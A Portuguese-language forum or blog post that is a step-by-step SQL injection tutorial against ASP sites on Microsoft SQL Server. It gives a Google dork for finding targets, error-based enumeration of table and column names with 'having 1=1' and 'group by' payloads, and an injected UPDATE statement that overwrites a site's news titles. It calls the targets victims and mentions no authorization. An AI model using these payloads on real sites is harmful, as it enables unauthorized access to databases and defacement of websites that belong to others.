Guia Definitivo do ASP Injection Avançado

Primeiramente voce vai precisar achar paginas em asp então caçe no google EX: :

allinurl: noticias.asp?id=

Em seguida vamos colocar o caracter (Aspas) simples ‘ no final da url …

Exemplo : http://www.vitima.com.br/noticias.asp?id=13

Vai apareçer o seguinte erro que sei que muitos já depararam :

Microsoft OLE DB Provider for SQL Server error ’80040e14′
Unclosed quotation mark before the character string ‘ order by id_noticia desc’.
/noticias.asp, line 10

Vamos a uma pequena explicação :

A variavel ID ela é definida para receber valores inteiros e no caso voce estaria passando o valor como string, na maioria das linguagens de programação, para declarar uma string voce tem que abrir e fechar aspas ou aspas simples esse é o motivo do erro, ele abre e não fecha.

Agora que achamos um site possivelmente vulneravel, nos vamos tentar descobrir os campos da tabela com um simples comando, having 1=1

HAVING é semelhante a WHERE, que determina quais registros são selecionados, no caso ele solicita a primeira celula da tabela.

http://www.vitimas.com.br/noticias.asp?id=13having 1=1

Vai resultar no seguinte erro :

Microsoft OLE DB Provider for SQL Server error ’80040e14′
Column ‘TBL_NOTICIAS.ID_Noticia’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10

Agora confirmamos se o site está vuln ou não, e ele nos informou o primeiro campo da tabela :

TBL_NOTICIAS.ID_Noticia onde
Nome da tabela : TBL_NOTICIAS
Primeiro campo da Tabela : ID_Noticia

Uma tabela de BD (Banco de Dados) não é feita de um so campo, por isso vamos implementar ainda mais nossa string usando o comando group by que tem que ser usando group by + nome da tabela + campo da tabela

Ex : http://www.vitima.com.br/noticias.asp?id=13group by TBL_NOTICIAS.ID_Noticia

Vai nos retornar :

Microsoft OLE DB Provider for SQL Server error ’80040e14′
Column ‘TBL_NOTICIAS.Titulo’ is invalid in the select list because it is not contained in either an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10

Se observarem ele nos retornou mais um campo TBL_NOTICIAS.Titulo agora para juntar com o comando anterior e continuar a descobrir os campos da tabela use a virgula.

Ex : http://www.vitima.com.br/noticias.asp?id=13‘ group by TBL_NOTICIAS.ID_Noticia,TBL_NOTICIAS.Titulo

Vai nos Retornar :

Microsoft OLE DB Provider for SQL Server error ’80040e14′
Column ‘TBL_NOTICIAS.IdCategoria’ is invalid in the select list because it is not contained in either an aggregate function and there is no GROUP By Clause
/noticias.asp, line 10

Agora que já conhecemos alguns dos campos vamos fazer um update da tabela, atualizar ela com os parametros da url.

+update+TBL_NOTICIAS+set+Titulo=’Sua mensagem

ex:

http://www.vitima.com.br/noticias.as…itulo='Sua Mensagem’

Update+’Tabela’+Set+’Coluna’='Valor’

A ‘Tabela’ é a tabela do banco de dados que vai alterar o valor, pode descobrir pelo comando having mesmo, a tabela é a primeira parte, antes do ponto.

A ‘Coluna’ é a coluna que sera editada. É a segunda parte do HAVING, depois do ponto. É bom voce escolher uma com alguma importancia, como titulos ou colunas com o conteudo.

O ‘Valor’ é OBVIO.

Tudo que tiver depois do SET são atribuições de valores às variaveis, se não me engano, podem ser separadas por virgulas.

Definição de comandos por Cloudy.

Esse foi o final do guia definitivo do SQL Injection, espero que todos tenham gostado e apreendido !

Creditos para meu amigo Edu

Postado por: bruno_pc



Deixe uma resposta

O seu endereço de email não será publicado Campos obrigatórios são marcados *

*

Você pode usar estas tags e atributos de HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>